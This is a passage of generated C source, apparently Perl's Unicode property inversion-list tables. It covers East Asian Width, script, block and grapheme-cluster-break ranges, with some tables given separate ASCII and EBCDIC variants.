0x26A1, - 0x26A2, - 0x26AA, - 0x26AC, - 0x26BD, - 0x26C0, - 0x26C4, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2700, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x273D, - 0x273E, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x2776, - 0x2780, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27E6, - 0x27EE, - 0x2985, - 0x2987, - 0x2B1B, - 0x2B1D, - 0x2B50, - 0x2B51, - 0x2B55, - 0x2B5A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x303F, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xE000, - 0xFB00, - 0xFE00, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFD, - 0xFFFE, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1F004, - 0x1F005, - 0x1F0CF, - 0x1F0D0, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F1AD, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F321, - 0x1F32D, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F37E, - 0x1F394, - 0x1F3A0, - 0x1F3CB, - 0x1F3CF, - 0x1F3D4, - 0x1F3E0, - 0x1F3F1, - 0x1F3F4, - 0x1F3F5, - 0x1F3F8, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4FD, - 0x1F4FF, - 0x1F53E, - 0x1F54B, - 0x1F54F, - 0x1F550, - 0x1F568, - 0x1F57A, - 0x1F57B, - 0x1F595, - 0x1F597, - 0x1F5A4, - 0x1F5A5, - 0x1F5FB, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F6CC, - 0x1F6CD, - 0x1F6D0, - 0x1F6D3, - 0x1F6EB, - 0x1F6ED, - 0x1F6F4, - 0x1F6F9, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_EA__NA_invlist[] = { /* for ASCII/Latin1 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA2, - 0xA4, - 0xA5, - 0xA7, - 0xAC, - 0xAD, - 0xAF, - 0xB0, - 0x27E6, - 0x27EE, - 0x2985, - 0x2987 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EA__NA_invlist[] = { /* for EBCDIC 1047 */ - 37, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xAD, - 0xAE, - 0xB0, - 0xB3, - 0xBC, - 0xBE, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA, - 0x27E6, - 0x27EE, - 0x2985, - 0x2987 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EA__NA_invlist[] = { /* for EBCDIC 037 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xB0, - 0xB3, - 0xBA, - 0xBD, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA, - 0x27E6, - 0x27EE, - 0x2985, - 0x2987 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_EA__W_invlist[] = { /* for all charsets */ - 209, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1100, - 0x1160, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23E9, - 0x23ED, - 0x23F0, - 0x23F1, - 0x23F3, - 0x23F4, - 0x25FD, - 0x25FF, - 0x2614, - 0x2616, - 0x2648, - 0x2654, - 0x267F, - 0x2680, - 0x2693, - 0x2694, - 0x26A1, - 0x26A2, - 0x26AA, - 0x26AC, - 0x26BD, - 0x26BF, - 0x26C4, - 0x26C6, - 0x26CE, - 0x26CF, - 0x26D4, - 0x26D5, - 0x26EA, - 0x26EB, - 0x26F2, - 0x26F4, - 0x26F5, - 0x26F6, - 0x26FA, - 0x26FB, - 0x26FD, - 0x26FE, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x2757, - 0x2758, - 0x2795, - 0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x2B1B, - 0x2B1D, - 0x2B50, - 0x2B51, - 0x2B55, - 0x2B56, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x303F, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA960, - 0xA97D, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFB00, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1F004, - 0x1F005, - 0x1F0CF, - 0x1F0D0, - 0x1F18E, - 0x1F18F, - 0x1F191, - 0x1F19B, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F321, - 0x1F32D, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F37E, - 0x1F394, - 0x1F3A0, - 0x1F3CB, - 0x1F3CF, - 0x1F3D4, - 0x1F3E0, - 0x1F3F1, - 0x1F3F4, - 0x1F3F5, - 0x1F3F8, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4FD, - 0x1F4FF, - 0x1F53E, - 0x1F54B, - 0x1F54F, - 0x1F550, - 0x1F568, - 0x1F57A, - 0x1F57B, - 0x1F595, - 0x1F597, - 0x1F5A4, - 0x1F5A5, - 0x1F5FB, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F6CC, - 0x1F6CD, - 0x1F6D0, - 0x1F6D3, - 0x1F6EB, - 0x1F6ED, - 0x1F6F4, - 0x1F6F9, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE -}; - -static const UV PL_EARLYDYNASTICCUNEIFORM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x12480, - 0x12550 -}; - -static const UV PL_EGYP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x13000, - 0x1342F -}; - -static const UV PL_ELBA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10500, - 0x10528 -}; - -static const UV PL_EMOTICONS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F600, - 0x1F650 -}; - -static const UV PL_ENCLOSEDALPHANUM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2460, - 0x2500 -}; - -static const UV PL_ENCLOSEDALPHANUMSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F100, - 0x1F200 -}; - -static const UV PL_ENCLOSEDCJK_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3200, - 0x3300 -}; - -static const UV PL_ENCLOSEDIDEOGRAPHICSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F200, - 0x1F300 -}; - -static const UV PL_ETHI_invlist[] = { /* for all charsets */ - 65, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F -}; - -static const UV PL_ETHIOPICEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D80, - 0x2DE0 -}; - -static const UV PL_ETHIOPICEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAB00, - 0xAB30 -}; - -static const UV PL_ETHIOPICSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1380, - 0x13A0 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_EXT_invlist[] = { /* for ASCII/Latin1 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xB8, - 0x2D0, - 0x2D2, - 0x640, - 0x641, - 0x7FA, - 0x7FB, - 0xE46, - 0xE47, - 0xEC6, - 0xEC7, - 0x180A, - 0x180B, - 0x1843, - 0x1844, - 0x1AA7, - 0x1AA8, - 0x1C36, - 0x1C37, - 0x1C7B, - 0x1C7C, - 0x3005, - 0x3006, - 0x3031, - 0x3036, - 0x309D, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA60C, - 0xA60D, - 0xA9CF, - 0xA9D0, - 0xA9E6, - 0xA9E7, - 0xAA70, - 0xAA71, - 0xAADD, - 0xAADE, - 0xAAF3, - 0xAAF5, - 0xFF70, - 0xFF71, - 0x1135D, - 0x1135E, - 0x115C6, - 0x115C9, - 0x11A98, - 0x11A99, - 0x16B42, - 0x16B44, - 0x16FE0, - 0x16FE2, - 0x1E944, - 0x1E947 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EXT_invlist[] = { /* for EBCDIC 1047 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB3, - 0xB4, - 0x2D0, - 0x2D2, - 0x640, - 0x641, - 0x7FA, - 0x7FB, - 0xE46, - 0xE47, - 0xEC6, - 0xEC7, - 0x180A, - 0x180B, - 0x1843, - 0x1844, - 0x1AA7, - 0x1AA8, - 0x1C36, - 0x1C37, - 0x1C7B, - 0x1C7C, - 0x3005, - 0x3006, - 0x3031, - 0x3036, - 0x309D, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA60C, - 0xA60D, - 0xA9CF, - 0xA9D0, - 0xA9E6, - 0xA9E7, - 0xAA70, - 0xAA71, - 0xAADD, - 0xAADE, - 0xAAF3, - 0xAAF5, - 0xFF70, - 0xFF71, - 0x1135D, - 0x1135E, - 0x115C6, - 0x115C9, - 0x11A98, - 0x11A99, - 0x16B42, - 0x16B44, - 0x16FE0, - 0x16FE2, - 0x1E944, - 0x1E947 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EXT_invlist[] = { /* for EBCDIC 037 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB3, - 0xB4, - 0x2D0, - 0x2D2, - 0x640, - 0x641, - 0x7FA, - 0x7FB, - 0xE46, - 0xE47, - 0xEC6, - 0xEC7, - 0x180A, - 0x180B, - 0x1843, - 0x1844, - 0x1AA7, - 0x1AA8, - 0x1C36, - 0x1C37, - 0x1C7B, - 0x1C7C, - 0x3005, - 0x3006, - 0x3031, - 0x3036, - 0x309D, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA60C, - 0xA60D, - 0xA9CF, - 0xA9D0, - 0xA9E6, - 0xA9E7, - 0xAA70, - 0xAA71, - 0xAADD, - 0xAADE, - 0xAAF3, - 0xAAF5, - 0xFF70, - 0xFF71, - 0x1135D, - 0x1135E, - 0x115C6, - 0x115C9, - 0x11A98, - 0x11A99, - 0x16B42, - 0x16B44, - 0x16FE0, - 0x16FE2, - 0x1E944, - 0x1E947 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_GCB__CN_invlist[] = { /* for ASCII/Latin1 */ - 38, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA, - 0xB, - 0xD, - 0xE, - 0x20, - 0x7F, - 0xA0, - 0xAD, - 0xAE, - 0x61C, - 0x61D, - 0x180E, - 0x180F, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0xD800, - 0xE000, - 0xFEFF, - 0xFF00, - 0xFFF0, - 0xFFFC, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xE1000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_GCB__CN_invlist[] = { /* for EBCDIC 1047 */ - 38, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE, - 0x15, - 0x16, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x61C, - 0x61D, - 0x180E, - 0x180F, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0xD800, - 0xE000, - 0xFEFF, - 0xFF00, - 0xFFF0, - 0xFFFC, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xE1000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_GCB__CN_invlist[] = { /* for EBCDIC 037 */ - 38, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE, - 0x25, - 0x26, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x61C, - 0x61D, - 0x180E, - 0x180F, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0xD800, - 0xE000, - 0xFEFF, - 0xFF00, - 0xFFF0, - 0xFFFC, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xE1000 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_GCB__L_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1100, - 0x1160, - 0xA960, - 0xA97D -}; - -static const UV PL_GCB__PP_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x600, - 0x606, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0xD4E, - 0xD4F, - 0x110BD, - 0x110BE, - 0x111C2, - 0x111C4, - 0x11A3A, - 0x11A3B, - 0x11A86, - 0x11A8A, - 0x11D46, - 0x11D47 -}; - -static const UV PL_GCB__SM_invlist[] = { /* for all charsets */ - 291, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x903, - 0x904, - 0x93B, - 0x93C, - 0x93E, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x950, - 0x982, - 0x984, - 0x9BF, - 0x9C1, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0xA03, - 0xA04, - 0xA3E, - 0xA41, - 0xA83, - 0xA84, - 0xABE, - 0xAC1, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xB02, - 0xB04, - 0xB40, - 0xB41, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xC01, - 0xC04, - 0xC41, - 0xC45, - 0xC82, - 0xC84, - 0xCBE, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD02, - 0xD04, - 0xD3F, - 0xD41, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD82, - 0xD84, - 0xDD0, - 0xDD2, - 0xDD8, - 0xDDF, - 0xDF2, - 0xDF4, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xF3E, - 0xF40, - 0xF7F, - 0xF80, - 0x1031, - 0x1032, - 0x103B, - 0x103D, - 0x1056, - 0x1058, - 0x1084, - 0x1085, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x1A19, - 0x1A1B, - 0x1A55, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A6D, - 0x1A73, - 0x1B04, - 0x1B05, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B45, - 0x1B82, - 0x1B83, - 0x1BA1, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1C24, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1CE1, - 0x1CE2, - 0x1CF2, - 0x1CF4, - 0x1CF7, - 0x1CF8, - 0xA823, - 0xA825, - 0xA827, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C4, - 0xA952, - 0xA954, - 0xA983, - 0xA984, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9C1, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA4D, - 0xAA4E, - 0xAAEB, - 0xAAEC, - 0xAAEE, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xABE3, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABEB, - 0xABEC, - 0xABED, - 0x11000, - 0x11001, - 0x11002, - 0x11003, - 0x11082, - 0x11083, - 0x110B0, - 0x110B3, - 0x110B7, - 0x110B9, - 0x1112C, - 0x1112D, - 0x11182, - 0x11183, - 0x111B3, - 0x111B6, - 0x111BF, - 0x111C1, - 0x1122C, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x112E0, - 0x112E3, - 0x11302, - 0x11304, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11362, - 0x11364, - 0x11435, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x115B0, - 0x115B2, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x11630, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x11A07, - 0x11A09, - 0x11A39, - 0x11A3A, - 0x11A57, - 0x11A59, - 0x11A97, - 0x11A98, - 0x11C2F, - 0x11C30, - 0x11C3E, - 0x11C3F, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x16F51, - 0x16F7F, - 0x1D166, - 0x1D167, - 0x1D16D, - 0x1D16E -}; - -static const UV PL_GCB__T_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11A8, - 0x1200, - 0xD7CB, - 0xD7FC -}; - -static const UV PL_GCB__V_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1160, - 0x11A8, - 0xD7B0, - 0xD7C7 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_GCB__XX_invlist[] = { /* for ASCII/Latin1 */ - 672, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA0, - 0xAD, - 0xAE, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, 